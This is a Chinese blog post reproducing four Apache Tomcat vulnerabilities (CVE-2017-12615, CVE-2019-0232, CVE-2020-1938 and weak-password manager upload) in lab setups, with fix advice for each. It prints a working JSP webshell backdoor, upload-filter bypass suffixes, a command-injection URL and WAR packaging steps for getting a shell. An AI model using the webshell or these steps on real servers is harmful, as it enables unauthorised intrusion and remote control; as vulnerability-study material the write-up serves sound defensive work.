常见中间件:Tomcat漏洞复现分析

VSole2022-06-07 15:27:24

tomcat复现网上已经很多了,我就在这篇文章简单的总结一下

Tomcat 任意文件写入(CVE-2017-12615)

影响范围: Tomcat 7.0.0-7.0.81(默认配置)

测试环境:Apache Tomcat v8.5.39

漏洞本质:Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞。

docker打开环境https://github.com/vulhub/vulhub




docker psdocker exec -ti 9eb90787a80f bashcat conf/web.xml | grep readonly



可以看到Tomcat配置文件/conf/web.xml 配置了可写(readonly=false)

抓个包,修改一下数据包改成put,写入一个jsp文件

可以看到成功写入任意文




既然可以写入任意文件,那也可以写入后门来getshell

jsp木马:



<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }     public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>



如存在过滤,绕过方式:


  • 文件后缀加/  ( 应用系统中 /在文件名中是非法的,会被自动去除)

  • 文件后缀加::$DATA

  • 文件后缀加&20 (windows不允许空格结尾

修复建议:将readonly=true,默认为true。



Tomcat 远程代码执行(CVE-2019-0232)


影响范围:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

测试环境:Apache Tomcat v8.5.39(apache V8.5.39)、windows

漏洞本质:CVE-2019-0232漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CHIServler被命令注入影响。

该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。


376行和419行取消注释并添加参数






debug0executable




在content.xml 19行处添加privileged属性为true



在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建xxx.bat文件,名字内容任意。

bin目录下startup.bat 开启tomcat服务

访问http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user,执行net user 命令

(net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执行失败,控制台报错。)



修复建议:这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。



Tomcat 文件包含漏洞(CVE-2020-1938)


影响范围:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30

测试环境:Apache Tomcat v9.0.30

漏洞本质:由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。

此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。



nmap扫到还有一个AJP端口8009正在监听

使用工具读取 web.xml文件

YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)

?:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi



(这里试了一下能不能通过文件包含实现RCE,但是只会读文件不会执行命令不知道怎么回事)


修复建议:将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复。如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost。




Tomcat + 弱口令 && 后台getshell漏洞


环境:Apache Tomcat/7.0.94

在conf/tomcat-users.xml文件中配置用户的权限和一个弱口令tomcat/tomcat:

Tomcat 7+的权限有:

1. manager(后台管理)

  • manager-gui拥有html页面权限

  • manager-status拥有查看status的权限

  • manager-script拥有text接口权限(包括status权限)

  • manager-jmx拥有jmx权限(包括status权限)

2. host-manager(虚拟主机管理)

  • admin-gui拥有html页面权限

  • admin-script拥有text接口权限



"manager-gui"/>"manager-script"/>"manager-jmx"/>"manager-status"/>"admin-gui"/>"admin-script"/>"tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />



正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

访问

http://127.0.0.1:8080/manager/html ,输入弱口令tomcat/tomcat进入后台(弱口令可以进行爆破)



写一个jsp的木马(见上),然后打包成war包,上传的war会被自动解压部署

jar -cvf shell.war shell.jsp



war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。



可以看到已经上传上去了,接着使用蚁剑连接后门127.0.0.1:8080/shell/shell.jsp



上传的位置在webapps里



修复建议:取消manager/html功能。若要使用,manager页面应只允许本地IP访问

漏洞apache
本作品采用《CC 协议》,转载必须注明作者和本文链接
近日,安识科技A-Team团队监测到一则 Apache 官方发布安全补丁的通告,共修复了2个安全漏洞,其中包含1个高危漏洞的信息。 对此,安识科技建议广大用户及时升级到安全版本,并做好资产自查以及预防工作,以免遭受黑客攻击。
2022年5月4日,Apache发布安全公告,修复了一个 Apache Jena中的XML外部实体注入漏洞漏洞编号:CVE-2022-28890,漏洞威胁等级:中危。
2022年4月26日,Apache发布安全公告,修复了一个 Apache CouchDB中的远程权限提升漏洞漏洞编号:CVE-2022-24706,漏洞威胁等级:高危,漏洞评分:7.5。
2022年4月26日,Apache发布安全公告,修复了一个 Apache Doris中的硬编码漏洞漏洞编号:CVE-2022-23942,漏洞威胁等级:中危。
2022年4月20日,Apache发布安全公告,修复了一个 Apache APISIX中的信息泄露漏洞漏洞编号: CVE-2022-29266,漏洞威胁等级:严重。
2022年4月20日,Apache发布安全公告,修复了一个 Apache APISIX中的信息泄露漏洞漏洞编号: CVE-2022-29266,漏洞威胁等级:严重。
2022年4月12日,Apache发布安全公告,修复了一个Apache Struts2 中的远程代码执行漏洞漏洞编号:CVE-2021-31805,漏洞威胁等级:高危,漏洞评分:8.5。
2022年1月21日,360漏洞云团队监测到Apache发布安全公告,修复了一个Apache ShardingSphere ElasticJob-UI中的信息泄露漏洞漏洞编号:CVE-2022-22733,漏洞威胁等级:中危。
2022年1月18日,360漏洞云团队监测到Apache Knox发布安全公告,修复了一个Apache Knox中的XSS漏洞漏洞编号:CVE-2021-42357,漏洞威胁等级:中危。
2022年1月4日,360漏洞云团队在互联网上监测到一则关于 Apache Geode 存在一个信息泄露漏洞的信息。漏洞编号:CVE-2021-34797,漏洞威胁等级:低危。
VSole
网络安全专家